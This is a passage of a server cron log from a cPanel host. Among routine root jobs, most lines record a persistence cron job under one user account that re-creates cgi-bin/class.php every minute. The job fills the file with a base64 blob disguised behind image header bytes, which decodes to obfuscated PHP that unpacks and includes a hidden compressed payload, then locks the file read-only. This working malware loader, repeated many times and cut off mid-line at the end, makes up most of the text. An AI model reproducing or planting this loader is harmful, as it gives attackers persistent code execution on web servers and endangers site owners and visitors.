39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:35:01 server CROND[14713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:36:02 server CROND[14826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:37:01 server CROND[14871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:38:01 server CROND[14916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:39:01 server CROND[15060]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 01:39:01 server CROND[15059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:40:01 server CROND[15120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:40:01 server CROND[15121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:40:01 server CROND[15122]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 01:40:01 server CROND[15123]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:41:01 server CROND[15242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:42:01 server CROND[15311]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:42:01 server CROND[15312]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 01:43:01 server CROND[15367]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:44:01 server CROND[15419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:45:01 server CROND[15565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:45:01 server CROND[15566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 01:45:01 server CROND[15567]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 01:46:01 server CROND[15668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:47:01 server CROND[15731]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:48:01 server CROND[15776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 01:49:01 server CROND[15832]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR